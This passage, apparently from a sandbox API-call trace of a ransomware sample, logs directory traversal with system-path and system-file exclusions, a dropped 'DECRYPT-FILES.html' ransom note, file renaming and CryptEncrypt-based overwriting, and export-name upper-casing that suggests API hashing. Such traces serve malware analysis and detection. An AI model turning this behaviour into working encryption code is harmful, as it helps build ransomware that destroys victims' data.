lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.517] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0075.517] wsprintfW (in: param_1=0x321db80, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.34tSh1K") returned 88 [0075.517] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.34tSh1K" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.34tsh1k"), dwFlags=0x0) returned 1 [0075.518] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.519] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.519] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.519] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0075.519] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0075.519] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0075.519] lstrcatW (in: lpString1="Cache", lpString2="\\" | out: lpString1="Cache\\") returned="Cache\\" [0075.520] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch=":\\Windows") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\Program Files") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\Games\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.520] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpSrch="\\All Users") returned 0x0 [0075.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned 69 [0075.520] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.520] wsprintfW (in: param_1=0x321e114, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\\\wevkgn5.dat") returned 81 [0075.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x434 [0075.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned 69 [0075.521] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.521] wsprintfW (in: param_1=0x321e114, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\\\DECRYPT-FILES.html") returned 88 [0075.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0075.522] WriteFile (in: hFile=0x438, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321e110, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321e110*=0x19ba, lpOverlapped=0x0) returned 1 [0075.522] CloseHandle (hObject=0x438) returned 1 [0075.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned 69 [0075.523] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*" [0075.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x91a7e9d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91a7e9d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName=".", cAlternateFileName="")) returned 0x66d358 [0075.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.523] FindNextFileW (in: hFindFile=0x66d358, lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x91a7e9d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91a7e9d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName="..", cAlternateFileName="")) returned 1 [0075.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.523] FindNextFileW (in: hFindFile=0x66d358, lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="DECRYPT-FILES.html") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="autorun.inf") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="boot.ini") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="desktop.ini") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="ntuser.dat") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="iconcache.db") returned -1 [0075.523] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="bootsect.bak") returned -1 [0075.524] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="ntuser.dat.log") returned -1 [0075.524] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="thumbs.db") returned -1 [0075.524] lstrcmpiW (lpString1="AcroFnt10.lst", lpString2="Bootfont.bin") returned -1 [0075.524] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned 69 [0075.524] lstrlenW (lpString="AcroFnt10.lst") returned 13 [0075.524] lstrcpyW (in: lpString1=0x321e104, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0075.524] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpString2="AcroFnt10.lst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" [0075.524] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0075.525] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x321d8d0 | out: lpFileSize=0x321d8d0*=53188) returned 1 [0075.525] CreateFileMappingW (hFile=0x43c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x440 [0075.525] MapViewOfFile (hFileMappingObject=0x440, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2f80000 [0075.546] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0075.546] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0075.546] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.547] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fa0000*, pdwDataLen=0x321d838*=0x28, dwBufLen=0x100 | out: pbData=0x2fa0000*, pdwDataLen=0x321d838*=0x100) returned 1 [0075.547] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3220000 [0075.557] VirtualFree (lpAddress=0x3220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.558] UnmapViewOfFile (lpBaseAddress=0x2f80000) returned 1 [0075.559] CloseHandle (hObject=0x440) returned 1 [0075.559] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.559] WriteFile (in: hFile=0x43c, lpBuffer=0x2fa0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321d858, lpOverlapped=0x0 | out: lpBuffer=0x2fa0000*, lpNumberOfBytesWritten=0x321d858*=0x108, lpOverlapped=0x0) returned 1 [0075.560] CloseHandle (hObject=0x0) returned 0 [0075.560] CloseHandle (hObject=0x43c) returned 1 [0075.562] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.562] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.563] GetTickCount () returned 0x20f0d [0075.563] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.563] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.563] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.564] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.564] lstrlenA (lpString="kernel32.dll") returned 12 [0075.564] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0075.564] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0075.564] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0075.564] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0075.564] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0075.564] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0075.564] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0075.564] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0075.564] lstrlenA (lpString="ADDATOMA") returned 8 [0075.564] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0075.564] lstrlenA (lpString="ADDATOMW") returned 8 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0075.565] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0075.565] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0075.565] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0075.565] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0075.565] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0075.565] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0075.565] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0075.565] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0075.565] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0075.565] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0075.565] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0075.565] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0075.565] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0075.565] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0075.565] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0075.565] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0075.566] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0075.566] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0075.566] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0075.566] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0075.566] lstrlenA (lpString="BACKUPREAD") returned 10 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0075.566] lstrlenA (lpString="BACKUPSEEK") returned 10 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0075.566] lstrlenA (lpString="BACKUPWRITE") returned 11 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0075.566] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0075.566] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0075.566] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0075.566] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0075.566] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0075.566] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0075.566] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0075.566] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0075.567] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0075.567] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0075.567] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0075.567] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0075.567] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0075.567] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0075.567] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0075.567] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0075.567] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0075.567] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0075.567] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0075.567] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0075.567] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0075.567] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0075.567] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0075.567] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0075.567] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0075.568] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0075.568] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0075.568] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0075.568] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0075.568] lstrlenA (lpString="BEEP") returned 4 [0075.568] lstrcpyA (in: lpString1=0x321cc4c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0075.568] lstrlenA 